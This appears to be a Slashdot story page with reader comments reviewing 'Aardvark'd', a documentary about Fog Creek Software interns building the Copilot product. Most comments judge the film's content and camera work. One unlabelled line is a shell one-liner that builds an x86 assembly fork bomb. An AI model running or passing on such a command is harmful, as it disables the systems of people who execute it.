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Film Documents Software Creation
vasanth writes "Aardvark'd: 12 Weeks with Geeks a story of intern programmers at New York-based Fog Creek Software creating a product from scratch to shipping, is now finished, one of the first films to delve wholly into the life and culture of coding. And though it may not be the next Harry Potter, it's an engaging film that focuses more on the personalities of the people than on the technology, bringing to life a process ordinarily wrapped in geek mystique."
Of course the real profit is in increased exposure to Joel's company and the highlighting of his internship program, which likely promises an even better crop of students next summer.
I could not justify my existence if I were a turkey farmer. Would I terminate myself? Undoubtably, yes.
It looks like VNC on the client, and some proprietary code on their server so that rather than have VNC listen, it connects to their server which acts as a matchmaker. The advantage being that it can get through firewalls, since most of them don't block outgoing connections on port 443.
https://www.copilot.com/tech/
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
There was almost no technical content and nothing dramatic happened. Code Rush and StartUp.com were more entertaining.
I was actually just watching this movie a second ago. It didn't quite live up to my expectations.
.com is a must -- what's wrong with "copilot.fogcreek.com?")
This movie is primarily about geeks geeking out. If you've never been around that, you will probably find the movie more interesting than I did. For example, a good ten minutes were devoted to the interns discussing whether they could jump out their window to the next building in case of a fire. If you are a geek who performs thought experiments with friends/co-workers all the time, you already know what that's like.
This movie is not about sharing insights about how to develop good software. You shouldn't think of the movie as an extension of Joel's column. Opportunities for venturing into that realm are abandoned. For example, all the interns are given a stopwatch and a stack of computer books their first day. Later on, one of the interns admits that he has no idea what the stopwatch is for. Unfortunately, the movie never gives us the answer to that question. I was wondering if it had something to do with user interface design, like quantifying the irritation of having to wait around for software by starting the stopwatch when you see the hourglass. But we never find out.
There is also not much technical content. We get only a few details about the project and its technology.
The biggest disappointment was the camera work. The footage shakes around a lot, especially in shots of computer screens you're trying to read. Far too much of the film is overexposed -- Joel's face is often half-white. This happened throughout the movie, and was visually distracting. This ultimately left the film feeling somewhat amateurish.
For the good: Joel Spolsky and Paul Graham were both engaging as always. They're the kind of guys that manage to make almost every word they say intriguing. The employees and interns are likable people you don't get tired of hearing from. You get a chance to see some interesting decisions, like deciding to pay $10k for "copilot.com" instead of using the inferior name "sidepilot" (though we never hear anyone justify why having the